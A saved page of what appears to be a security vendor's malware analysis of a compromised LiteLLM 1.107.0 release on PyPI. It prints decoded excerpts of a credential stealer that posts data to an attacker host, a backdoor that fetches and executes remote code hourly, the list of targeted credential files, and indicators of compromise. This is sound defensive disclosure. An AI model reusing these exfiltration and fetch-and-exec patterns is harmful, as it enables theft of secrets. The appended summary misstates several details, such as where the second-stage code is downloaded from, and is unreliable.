LmCast :: Stay tuned in

Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor

Recorded: Oct. 21, 2026, 3:11 p.m.

Original Summarized

Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor - Real-time Open Source Software Supply Chain Security

New Blog: Why Does an npm Math Library Need an Encrypted Loader? • 18 Sep 2026
Product
Discover & Monitor SCA & SBOM Scan dependencies, generate SBOMs, enforce policy. AI Agent Discovery See every AI tool and SDK in your org. AI Agent Monitoring Audit every action your AI agents take. Protect Developer Security Block malicious packages at install-time. CI/CD Security Block malicious packages in your pipeline. MCP Server Block threats inside your AI coding agent. Agent API Threat intelligence API for custom agents. Threat Intelligence Real-time malicious package verdicts. Govern Endpoint Protection Package events & AI inventory in the cloud. Platform Centralized policies, dashboard, compliance. Open Source Vet Scan and govern your dependencies across every PR and build. PMG Block malicious packages at install-time, before they enter your codebase. xbom Generate AI-enriched BOMs using real code evidence, not just manifests. GRYPH Monitor every AI coding agent action across your projects and workflows. Pricing How it works Blog Resources Documentation SDK API Threat Intelligence Hub Login Start for Free 1.5k Product Pricing How it works Blog Resources Documentation SDK API Threat Intelligence Hub Back Discover & Monitor SCA & SBOM Scan dependencies, generate SBOMs, enforce policy. AI Agent Discovery See every AI tool and SDK in your org. AI Agent Monitoring Audit every action your AI agents take. Protect Developer Security Block malicious packages at install-time. CI/CD Security Block malicious packages in your pipeline. MCP Server Block threats inside your AI coding agent. Agent API Threat intelligence API for custom agents. Threat Intelligence Real-time malicious package verdicts. Govern Endpoint Protection Package events & AI inventory in the cloud. Platform Centralized policies, dashboard, compliance. Open Source Vet Scan and govern your dependencies across every PR and build. PMG Block malicious packages at install-time, before they enter your codebase. xbom Generate AI-enriched BOMs using real code evidence, not just manifests. GRYPH Monitor every AI coding agent action across your projects and workflows. Login Start for Free 1.5k Back to Blog Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor Security Kunal Singh • Oct 21, 2026 • 6 min read On this page 6 sections

On this page
What the attack does How the implant got into the release Payload 1: the credential stealer in cook.py Payload 2: the backdoor in sitecustomize.py Timeline Indicators of compromise Open Source · Free Protect your projects from malicious packages
Get PMG on GitHub
The LiteLLM 1.107.0 release on PyPI carries a credential stealer and a
remote code execution backdoor. All seven wheels (Linux, macOS, Windows) install them as three files in
site-packages. Both run when any Python process starts on the host, even one that never imports litellm. The
upstream GitHub source does not contain them. PyPI has since removed the release.
Versions 1.106.2, 1.107.0rc1, and 1.107.0rc2 are clean. The companion packages that 1.107.0 pins,
litellm-proxy-extras==0.4.110 and litellm-enterprise==0.1.78, are also clean.
What the attack does
Installing litellm==1.107.0 places three files in site-packages. Python loads two of them each time it starts.

cook.pth imports cook.py, a credential stealer. It collects SSH keys, cloud credentials, CI/CD secrets, AI tool
tokens, browser passwords, and the LLM provider keys in a LiteLLM proxy database. It encrypts the data and sends it to
www.litellm[.]dev.
sitecustomize.py starts a background daemon. Every hour, the daemon reads a server address from a GitHub file,
runs the stealer again, and downloads and runs code from that server.

How the implant got into the release
The pyproject.toml in the 1.107.0 source distribution (sdist) has one extra line in the maturin build section:
pyproject.toml (litellm-1.107.0.tar.gz) Copy 123456 [tool.maturin]
...
python-source = "."
data = "cook" # <-- injected
python-packages = ["litellm_cli"] # legitimate (present upstream) TOML 6 lines
The maturin data = "cook" setting copies a cook/ folder into litellm-1.107.0.data/purelib/ in the wheel. pip
installs that folder into site-packages.
The sdist leaves out the cook/ folder, so this line is the only visible change. No public commit in
BerriAI/litellm contains data = "cook" or a cook/ folder.
The wheel RECORD lists the three added files:
litellm-1.107.0.dist-info/RECORD Copy 1234 litellm-1.107.0.data/purelib/cook.pth 12 bytes "import cook"
litellm-1.107.0.data/purelib/cook.py 22252 bytes exec(zlib.decompress(b64decode(...)))
litellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes loader/backdoor + embedded stealer TEXT 4 lines
The release does not match its tag
The tag v1.107.0 points to commit
66c8f5b (06:59 UTC). Its
pyproject.toml says version = "1.108.0". SafeDep compared every sdist file with the git trees by blob hash. The sdist
matches a later main commit,
a8113b0 (08:50 UTC), plus five
edited files and the cook/ folder.
Four of the edited files are Cargo.toml files that gain a readme = "README.md" line. The legitimate 1.106.2 and rc2
releases have the same edit. The fifth is pyproject.toml, compared here with a8113b0:
pyproject.toml (a8113b0 → litellm-1.107.0.tar.gz) Copy 1234567891011 -version = "1.108.0"
+version = "1.107.0"
- "litellm-proxy-extras==0.4.111",
- "litellm-enterprise==0.1.79",
+ "litellm-proxy-extras==0.4.110", # same pins as 1.107.0rc2
+ "litellm-enterprise==0.1.78",
+data = "cook" # the injection
...
-version = "1.108.0" # second version field
+version = "1.107.0" DIFF 11 lines
The edit sets the version back to 1.107.0 and pins the companion packages to the rc2 values. As a result, a dependency diff against rc2 shows nothing unusual. The legitimate 1.106.2 sdist matches its tag commit
49943cd except for the
Cargo.toml readme lines.
How the wheels were built
The malicious wheels match the output of the normal BerriAI release pipeline:

The WHEEL file names maturin 1.9.4, the same version as in the legitimate releases. The implant files have correct RECORD entries, which shows no edits after the build.
Zip timestamps show separate native builds: macOS at 11:20, Linux at 11:21, and Windows at 11:37 UTC.
In the Windows wheel, all 2,804 .py files have CRLF line endings, including the three implant files. The Linux
wheel has none. A git checkout on Windows with line-ending conversion produces this pattern.

No public GitHub Actions run built or published the release. SafeDep checked all 539 runs between 09:30 and 12:30 UTC.
At 11:50 UTC, about 10 minutes after the PyPI upload, litellm-dispatcher[bot] published the GitHub release
v1.107.0. The same delay occurred for 1.106.2. PyPI has no provenance attestations for 1.107.0, 1.106.2, or rc2.
SafeDep assesses, with moderate to high confidence, that BerriAI’s private release pipeline built these wheels from an
attacker-modified git source. The attacker could have used a compromised maintainer or bot credential, a private branch or mirror, or the reference the pipeline builds from. A stolen PyPI token used from the attacker’s own machines fits the evidence less
well. Only BerriAI’s pipeline logs can confirm the cause.
Payload 1: the credential stealer in cook.py
At startup, Python runs each line that starts with import in a .pth file in site-packages. cook.pth contains
import cook, so the stealer runs in every Python process on the host: the application, pip, IDE language servers, and
CI jobs.
cook.py wraps about 61 KB of Python in one layer of exec(zlib.decompress(base64.b64decode('...'))). The decoded
code starts with this configuration:
cook.py (decoded) Copy 12345678910 PC_URL = 'http://www.litellm.dev/healthcheck'
PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb' # sent as X-Token header
PC_PUBKEY = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...' # RSA-4096
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC = True # runs in a daemon thread
PC_MODULES = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys',
'shell_hist','cloud_creds','dev_secrets','container_creds',
'cicd_secrets','ai_devtools','env_vars','db_litellm',
'cloud_metadata','gpg_keys','tls_privkey'] PYTHON 10 lines
What it collects
ModuleTargetssysinfo, netinfoHost name, user, operating system, IP addresses, network settingsbrowser_pwChromium saved passwords, decrypted with the profile master key (DPAPI on Windows). Firefox logins.json and key4.dbbrowser_histBrowser historyssh_keys~/.ssh/*shell_histbash and zsh history, PowerShell PSReadLine, cmd historycloud_creds~/.aws/credentials and config, Azure profile and tokens, gcloud credentials, ~/.kube/config, ~/.docker/config.json, gh hosts.yml, rclone.conf, ~/.netrcdev_secrets.pem, .key, .pfx, .p12, .pk8, .ppk files under $HOME, Composer auth.json, FileZilla saved serverscontainer_credsKubernetes service account tokencicd_secretsGitLab runner config.toml, Jenkins initialAdminPassword and master.key, .vault-token, Terraform credentials.tfrc.json, Packer settingsai_devtoolsClaude Code, Claude Desktop, Cursor, Windsurf, Copilot, VS Code mcp.json, Gemini CLI, Codex auth.json, Continue, Aider, Goose, opencode, Qwen, Crush, Kiro, Zed, Hugging Face tokenenv_varsIts own environment and the environment of other processes through /proc/<pid>/environdb_litellmReads DATABASE_URL and dumps the LiteLLM_CredentialsTable and LiteLLM_ProxyModelTable tables, which hold the LLM provider API keys of a LiteLLM proxycloud_metadataAWS instance metadata service (IMDSv2, then v1): instance identity and role credentialsgpg_keys, tls_privkeyGPG keys, TLS private keys
How it sends the data

It encrypts the JSON results with a random AES-256-CBC key, and encrypts that key with RSA-OAEP and the embedded
public key.
It packs the result into a tar.gz (hdr.json, data.bin, key.bin) and sends it in a POST request to
www.litellm[.]dev/healthcheck with the header X-Token: XWiA8gZNa7NcX2XRoAEb.
After a successful upload, it writes /tmp/.pc_once_72129118c59f5636c0bb so it collects only once per host. It
also sets PRIVCOLLECT_ACTIVE=1 to avoid a second run in the same process tree.

Payload 2: the backdoor in sitecustomize.py
Python imports sitecustomize at startup, so this file also runs in every Python process.
sitecustomize.py Copy 12345 GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH = "/codepy"
LOOP_INTERVAL = 3600
LOCK_FILE = "/tmp/remote_code_loader.lock" PYTHON 5 lines

It takes an exclusive lock on /tmp/remote_code_loader.lock, so only one daemon runs per host.
It calls fork() and setsid(), sends standard input and output to /dev/null, and changes directory to / to
detach from the parent process.
Every hour, it:

reads domain.txt from the attacker’s GitHub repository and takes the first line that looks like a domain,
runs its embedded copy of the stealer, which has no once-per-host marker,
downloads http://<domain>/codepy and runs it with exec().

The attacker can point the daemon at a new server by editing domain.txt. Each infected host runs whatever that server
returns as codepy.
At 13:40 UTC, the GitHub account letters9813 and its repository returned 404, about two hours after the release. The
backdoor now finds no server address and does nothing. Hosts that ran the daemon before the deletion could have
received and run second-stage code. SafeDep could not recover the server address.
Timeline
All times are UTC on 2026-10-21.
TimeEvent06:59Tag v1.107.0 commit 66c8f5b created08:50Commit a8113b0 on main, the base of the release source10:44Legitimate 1.106.2 uploaded to PyPI11:20 to 11:37Malicious 1.107.0 wheels built11:39 to 11:401.107.0 uploaded to PyPI (all 8 files)11:50litellm-dispatcher[bot] publishes GitHub release v1.107.013:40Observed: 1.107.0 gone from PyPI, letters9813 account deleted
Indicators of compromise
Network
IndicatorPurposewww.litellm[.]dev, hxxp://www.litellm[.]dev/healthcheckReceives stolen dataHTTP header X-Token: XWiA8gZNa7NcX2XRoAEbSent with each uploadraw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txtBackdoor reads its server address here (account deleted)hxxp://<domain>/codepySecond-stage code downloadRequests to 169.254.169.254 from Python processesTheft of AWS instance credentials
Host
IndicatorMeaningcook.pth, cook.py, sitecustomize.py in site-packagesImplant installed/tmp/.pc_once_72129118c59f5636c0bbStealer already uploaded data/tmp/remote_code_loader.lockBackdoor daemon has runEnvironment variable PRIVCOLLECT_ACTIVE=1Present in infected processesDetached Python daemon (parent PID 1, own session, working directory /)Backdoor loop
File hashes (SHA-256)
FileSHA-256litellm-1.107.0.tar.gz2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whlc2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86dlitellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1alitellm-1.107.0-cp310-abi3-win_amd64.whl12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484
The planted files, from the wheel RECORD:
FileSHA-256 (URL-safe base64)cook.pthfxkWMucyBwXRVLhSBPGuVGtUOsvX6IYSKbdvUEK5K9scook.pyndCjkm-Wo364bPHuIxDZvpMTnMTr7z754u_pUxOQviUsitecustomize.pyNL7wT-iKydCq4EdWMLFzhoHRW5TyM6yKpG6s9ZaDBfo pypipythonmalwaresupply-chainlitellm Author Kunal Singh safedep.io Share The Latest from SafeDep blogs Follow for the latest updates and insights on open source security & engineering Security Forged Commits Push a preinstall Dropper into hugo-paper and mevn-cli An attacker pushed forged commits to the default branches of hugo-paper and mevn-cli. Running npm install or bun install in either repository downloads and runs a second-stage script from... Kunal Singh Oct 20, 2026 Security ASOS App Hack: Attackers Used Push Notifications to Send a Ransom Note Attackers got into the platforms ASOS uses to message customers and pushed an extortion note to phones. Here is what is confirmed, what is only claimed, and what customers should do. SafeDep Team Oct 9, 2026 Security MALFEX Moves Its npm Loader into a Native Windows DLL The MALFEX package imgdecode contains a native Windows loader. When loaded from a console, it attempts to download, decrypt, and inject shellcode into dllhost.exe. SafeDep Team Oct 13, 2026 Malware tensorlake 0.5.144 npm Compromise Ships Mini Shai-Hulud [email protected] on npm ran a Mini Shai-Hulud worm at install. A maintainer account committed the payload through the GitHub web interface, and the official release workflow published it. Kunal Singh Oct 8, 2026 View All Blogs Ship Code. Not Malware. Start free with open source tools on your machine. Scale to a unified platform for your organization. Star on GitHub
Book a Demo
SafeDep Terms · Privacy Policy · Cookie Preferences Product Features Pricing How it works Solutions AI Agent Discovery AI Agent Monitoring Threat Intel for Agents Threat Intel for SecOps MCP Server Endpoint Protection Threat Intel Data Hub Developer API Partners Support Docs Community Forum FAQ Professional Services Status Company About Blog Contact Careers GitHub

© 2026 SafeDep, Inc. All rights reserved


Join us on Discord
We value your privacy
SafeDep keeps analytics anonymous and cookie-free until you
opt in. Accepting helps us understand product usage and improve your experience.
Privacy Policy
Accept all

Reject all

Preferences

Choose what you share. You can change this anytime from the footer.

Essential
Always on
Remembers your cookie choice and keeps the site secure. Cannot be switched off.
Analytics
PostHog + Google Analytics. Page views, feature usage and CTA clicks to improve the product.

Save preferences

Back

In this security analysis by Kunal Singh, published on SafeDep's blog on October 21, 2026, the article details a severe supply chain compromise involving the LiteLLM package version 1.107.0 distributed on PyPI. The compromised release is found to contain a credential stealer and a remote code execution backdoor, both of which were injected into the package without being present in the original upstream source. When the package is installed, these malicious files are placed in the site-packages directory and execute automatically in any Python process on the host, even those that never import the LiteLLM library, thereby enabling extensive data exfiltration and potential remote code execution.

The attack's impact is significant: the credential stealer, stored in cook.py and triggered by a cook.pth file, collects a wide array of sensitive information from infected systems. This includes host system details, network settings, cloud credentials such as AWS instance metadata and Kubernetes service accounts, AI tool tokens, browser passwords and histories, SSH keys, shell histories, and even environment variables from other processes. The stealer encrypts the collected data using AES-256-CBC and RSA-OAEP with an embedded public key, compresses it into a tar archive, and sends it via a POST request to a specified malicious URL, using a hardcoded token header. It also writes a marker file to ensure it does not run multiple times on the same host. The backdoor, located in sitecustomize.py, operates as a detached daemon that runs hourly. It reads a server domain from a GitHub repository file, and then downloads and executes code from that server, allowing the attacker to deploy second-stage payloads dynamically. A lock file prevents multiple daemon instances from running on a single host.

The malicious code was introduced through a manipulation of the package's build configuration. The pyproject.toml file in the source distribution contained an injected line, `data = "cook"`, within the maturin build section, which caused the cook/ folder to be copied into the wheel's purelib directory. This folder, containing the cook.py, cook.pth, and sitecustomize.py files, was then installed into site-packages by pip. The source distribution was also altered to match a later main commit, a8113b0, while reverting the version to 1.107.0 and pinning companion packages to the rc2 versions, making the release appear authentic. The wheel's RECORD file lists the three added files, and SafeDep compared the sdist against the git trees, confirming that the release did not match its tag and was built from an attacker-modified source. The wheels were built using maturin 1.9.4, matching the legitimate release pipeline, but with distinct native build timestamps, and the Windows wheel exhibited line-ending inconsistencies typical of a git checkout on Windows, indicating the source was altered on a Windows machine.

Payload 1, the credential stealer in cook.py, is a substantial Python module (approximately 61 KB) that begins with a configuration defining the exfiltration target: a URL, a token, an RSA key, and a path for the once-per-host marker. It activates via cook.pth, which imports cook, ensuring execution in every Python process. The stealer collects data from a predefined set of modules, including sysinfo, netinfo, browser_pw, browser_hist, ssh_keys, shell_hist, cloud_creds, dev_secrets, container_creds, cicd_secrets, ai_devtools, env_vars, db_litellm, cloud_metadata, gpg_keys, and tls_privkey. The module reads LiteLLM proxy database tables, captures AWS IMDSv2 credentials, and collects various secrets from user home directories and configuration files. It then encrypts the collected data and sends it to the malicious endpoint, after which it sets a flag to prevent re-running within the same process tree.

Payload 2, the backdoor in sitecustomize.py, takes advantage of Python's automatic import of sitecustomize at startup. The file contains settings for a GitHub raw URL, a code path, a loop interval of one hour, and a lock file. At startup, it acquires an exclusive lock on the lock file, detaches from the parent process using fork and setsid, redirects standard streams to /dev/null, and changes directory to root. Every hour, it reads a domain from the attacker-controlled GitHub file, extracts a domain address, and then downloads the corresponding code file from the raw GitHub URL, executes it with exec(), and runs it. This allows the attacker to remotely inject and execute arbitrary code on infected hosts, with the ability to update the target domain to serve new payloads. The GitHub account associated with the domain file was later found to have returned 404, indicating the backdoor's operational window was limited.

The timeline of the compromise is precise: at 06:59 UTC, tag v1.107.0 was created; at 08:50 UTC, commit a8113b0 on main served as the base source. Legitimate 1.106.2 was uploaded to PyPI at 10:44 UTC. Malicious wheels for 1.107.0 were built between 11:20 and 11:37 UTC, and uploaded to PyPI at 11:39 to 11:40 UTC. At 11:50 UTC, a GitHub release was published by litellm-dispatcher[bot]. At 13:40 UTC, the compromised release was removed from PyPI, and the associated GitHub account was deleted. Indicators of compromise include network endpoints such as www.litellm[.]dev/healthcheck and raw.githubusercontent[.]com, the hardcoded X-Token header, and host files like cook.pth, cook.py, sitecustomize.py, as well as environment variables like PRIVCOLLECT_ACTIVE=1. Specific file hashes are provided for the compromised tar.gz and wheel files, and host-level indicators include the presence of the marker file and the detached daemon process.

SafeDep assesses with moderate to high confidence that BerriAI's private release pipeline built these wheels from an attacker-modified git source. The evidence suggests the attacker may have compromised a maintainer, used a private branch or mirror, or stolen a PyPI token from the attacker's own machines, though only BerriAI's pipeline logs can definitively confirm the cause. The article emphasizes the critical need for organizations to secure their Python package dependencies, implement security scanning and provenance checks, and be vigilant against supply chain threats.